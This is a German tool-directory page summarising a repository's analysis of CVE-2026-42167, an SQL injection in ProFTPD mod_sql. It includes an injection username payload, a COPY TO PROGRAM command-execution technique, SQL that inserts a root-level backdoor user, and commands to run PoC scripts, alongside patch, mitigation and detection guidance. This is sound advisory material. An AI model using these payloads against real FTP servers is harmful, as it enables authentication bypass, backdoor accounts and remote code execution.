Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42167 — Technische Analyse und Proof-of-Concept für CVE-2026-42167, eine kritische SQL-Injection in ProFTPD mod_sql, die eine Authentifizierungsumgehung, die Einschleusung von Hintertür-Benutzern und die Ausführung von Remote-Code ermöglicht. | Kitploit
Tools/GitHubGitHub/kaleth4/cve-2026-42167
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubkaleth4/cve-2026-42167

CVE-2026-42167

Technische Analyse und Proof-of-Concept für CVE-2026-42167, eine kritische SQL-Injection in ProFTPD mod_sql, die eine Authentifizierungsumgehung, die Einschleusung von Hintertür-Benutzern und die Ausführung von Remote-Code ermöglicht.

Repository anzeigen
5vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42167: SQL-Injection in ProFTPD mod_sql

📋 Executive Summary

CVE-2026-42167 ist eine kritische SQL-Injection-Schwachstelle im mod_sql-Modul von ProFTPD, die Authentifizierungsumgehung, Injektion von Backdoor-Benutzern und Remote Code Execution (RCE) ermöglicht.

AttributWert
TypSQL-Injection (CWE-89)
SchweregradHoch/Kritisch
CVSS v38.1
Komponentemod_sql in ProFTPD < 1.3.9a
Gemeldet vonZeroPath Research
Datum28. April 2026

🔍 Technische Beschreibung

Das Problem: Schwache Validierung in is_escaped_text()

ProFTPD verwendet die Funktion is_escaped_text(), um zu bestimmen, ob ein Wert bereits bereinigt wurde, bevor er in eine SQL-Abfrage eingefügt wird. Die Funktion nimmt an, dass jede Eingabe, die:

  • Mit einem einfachen Anführungszeichen ' beginnt
  • Mit einem einfachen Anführungszeichen ' endet
  • Keine internen einfachen Anführungszeichen enthält

...bereits escaped wurde und keine weitere Verarbeitung erfordert.

Der Exploit

Ein Angreifer kann einen bösartigen Benutzernamen senden wie:

root@kitploit:~
USER ' || (SELECT 1) ||'

Wenn dieser in eine SQL-Abfrage eingefügt wird wie:

root@kitploit:~
INSERT "'%U', '%r', '%m'" activity_log

Entsteht:

root@kitploit:~
INSERT "'' || (SELECT 1) || ''" activity_log

Das Payload wird als beliebiger SQL-Code ausgeführt, da die ||-Operatoren leere Zeichenfolgen um den injizierten Befehl herum verketten.


⚠️ Auswirkungsszenarien

1️⃣ Remote Code Execution (RCE)

Anforderungen:

  • PostgreSQL-Backend
  • Datenbankbenutzer mit Superuser-Rechten
  • SQL-Logging mit %U- oder %{basename}-Variablen aktiviert

Technik:

root@kitploit:~
COPY (SELECT 1) TO PROGRAM 'bösartiger_befehl'

Führt Betriebssystembefehle als Benutzer postgres aus.

2️⃣ Authentifizierungsumgehung

Anforderungen:

  • SQLAuthenticate aktiviert
  • SQL-Logging mit %U-Variable in SQLLog ERR_* (Pre-Authentifizierung)

Technik:

root@kitploit:~
INSERT INTO users (username, password, uid, homedir) 
VALUES ('attacker', 'password_hash', 0, '/')

Der Angreifer injiziert einen Backdoor-Benutzer mit uid=0 (root) und Zugriff auf das gesamte Dateisystem.

3️⃣ Datenextraktion

Anforderungen:

  • Beliebiges SQL-Backend
  • SQL-Logging aktiviert

Technik: Zeitbasierte blinde SQL-Injection zur Extraktion von Anmeldeinformationen Zeichen für Zeichen.


📊 Angriffsvektoren

Vom Angreifer kontrollierte Variablen

VariableBedeutungUmfang
%UOriginaler Benutzername (vor Authentifizierung)Pre-auth
%APasswort für anonymen LoginPre-auth
%JBefehlsparameterPre-auth
%mFTP-Verb (STOR, RETR, etc.)Pre-auth
%{basename}DateinamenkomponentePost-auth
%lIdent-Antwort (RFC 1413)Pre-auth (falls identd verfügbar)

Exploit-Pfade

Pre-Authentifizierung (am kritischsten):

root@kitploit:~
%U + SQLLog ERR_* → Keine Anmeldeinformationen erforderlich

Post-Authentifizierung:

root@kitploit:~
%{basename} + SQLLog STOR → Erfordert einen beliebigen gültigen FTP-Benutzer

🛡️ Mitigation und Lösung

✅ Empfohlene Lösung

Sofort auf ProFTPD 1.3.9a oder höher aktualisieren:

root@kitploit:~
# Aktuelle Version prüfen
proftpd -v

# Aktualisieren (Beispiel für Debian/Ubuntu)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1

🔧 Temporäre Mitigationen

Falls ein sofortiges Update nicht möglich ist:

  1. SQL-Logging deaktivieren:
root@kitploit:~
# Diese Zeilen in proftpd.conf auskommentieren oder entfernen
# SQLLog * log_activity
# SQLLog ERR_* log_activity
  1. Prinzip der geringsten Privilegien anwenden:
root@kitploit:~
-- In PostgreSQL einen Benutzer ohne Superuser-Rechte erstellen
CREATE USER proftpd_user WITH PASSWORD 'sicheres_passwort';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- KEIN SUPERUSER vergeben
  1. Überwachung auf Exploit-Versuche:
root@kitploit:~
TraceLog /var/log/proftpd/trace.log
Trace sql:17

🔎 Schwachstellen-Verifikation

Kompromittierungsindikator

In den ProFTPD-Trace-Logs (mit Trace sql:17 aktiviert) suchen:

root@kitploit:~
text 'payload' is already escaped, skipping escaping it again

Diese Meldung zeigt an, dass ein Bypass-Versuch von der verwundbaren Engine verarbeitet wurde.

Befehl zur Verifikation

root@kitploit:~
# Detaillierte Traces aktivieren
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf

# ProFTPD neu starten
sudo systemctl restart proftpd

# Logs überwachen
tail -f /var/log/proftpd/trace.log | grep "already escaped"

📦 Versionsinformationen

VersionStatus
< 1.3.9❌ Verwundbar
1.3.9❌ Verwundbar
≥ 1.3.9a✅ Gepatcht
≥ 1.3.10rc1✅ Gepatcht

🧪 Proof of Concept (PoC)

Offizielles Repository

GitHub: ZeroPathAI/proftpd-CVE-2026-42167-poc

Schnelle Einrichtung mit Docker

root@kitploit:~
# Repository klonen
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc

# Anforderungen
# - Docker
# - Git
# - Python 3.10+
# - uv (Python-Paketmanager)

# Verwundbare Umgebung einrichten
cd setup
./setup.sh

# PoCs ausführen
cd ../pocs
python3 preauth_user_backdoor.py      # Backdoor-Benutzer injizieren (pre-auth)
python3 preauth_user_rce.py           # RCE über COPY TO PROGRAM (pre-auth)
python3 postauth_stor_backdoor.py     # Benutzer injizieren (post-auth)
python3 postauth_stor_rce.py          # RCE (post-auth)

# Aufräumen
cd ../setup
./teardown.sh

📅 Zeitplan

DatumEreignis
2026-03-28Schwachstelle an ProFTPD gemeldet
2026-04-07Verifizierung und Patch-Entwicklung
2026-04-24CVE-2026-42167 zugewiesen
2026-04-27Patch veröffentlicht (Commit af90843baf7dcb8c6be1e5261be2d0b5b5850673)
2026-04-27ProFTPD 1.3.9a veröffentlicht

📚 Referenzen

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42167
  • Technischer Blog: https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
  • PoC-Repository: https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
  • Release Notes: http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1
  • Diskussion: https://github.com/proftpd/proftpd/issues/2052

⚡ Abschließende Empfehlungen

  1. Sofortige Maßnahme: ProFTPD auf 1.3.9a oder höher aktualisieren
  2. Audit: SQLLog-Konfigurationen auf allen ProFTPD-Servern überprüfen
  3. Berechtigungen: Sicherstellen, dass Datenbankbenutzer keine Superuser-Rechte haben
  4. Überwachung: Warnmeldungen für SQL-Injection-Versuche implementieren
  5. Patches: Regelmäßiges Patch-Programm für alle Abhängigkeiten aufrechterhalten

Letzte Aktualisierung: 28. April 2026
Quelle: ZeroPath Research, MITRE CVE, NVD

Tool herunterladen